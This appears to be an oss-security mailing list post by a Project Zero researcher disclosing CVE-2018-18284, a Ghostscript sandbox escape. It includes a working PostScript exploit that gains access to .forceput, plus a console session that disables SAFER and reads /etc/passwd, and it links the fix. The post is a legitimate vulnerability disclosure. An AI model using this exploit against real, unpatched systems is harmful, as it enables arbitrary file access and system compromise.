oss-security - ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Tue, 16 Oct 2018 11:06:14 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: oss-security@...ts.openwall.com
Subject: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284

Hello, this <https://bugs.chromium.org/p/project-zero/issues/detail?id=1696>
is CVE-2018-18284, another ghostscript sandbox escape. Because procedures
in postscript are just executable arrays, all system procedures need to be
marked as executeonly, so that users cannot peek at their internals with
array operators.

We have also recently learned that they must be marked as pseudo-operators,
otherwise their contents might leak to error handlers.

That makes sense, unless the procedure itself is dangerous - in that case
it must be hidden.

1Policy is a procedure that was correctly marked as executeonly and made a
pseudo-operator, but was basically just a wrapper around .forceput. Here is
how to exploit it:

/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get
exec pop pop pop pop pop pop pop } def

Once you have access to .forceput, you can basically do whatever you want,
see the exploit for CVE-2018-17961 a full example of backdooring .bashrc.

Here is a simpler repro, just reading /etc/passwd:

$ gs -dSAFER -sDEVICE=ppmraw
GPL Ghostscript 9.25 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1
get exec pop pop pop pop pop pop pop } def
GS>systemdict /SAFER false .forceput
GS>systemdict /userparams get /PermitFileControl [(*)] .forceput
GS>systemdict /userparams get /PermitFileWriting [(*)] .forceput
GS>systemdict /userparams get /PermitFileReading [(*)] .forceput
GS>(/etc/passwd) (r) file 1024 string readline pop ==
(root:x:0:0:root:/root:/bin/bash)
GS>

This patch solves it:

http://git.ghostscript.com/?p=ghostpdl.git;h=8d19fdf63f91f50466b08f23e2d93d37a4c5ea0b

Side note: I'm done looking at ghostscript for now, but still *strongly*
recommend that we deprecate untrusted postscript and disable ghostscript
coders by default in policy.xml.

Thanks, Tavis.

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.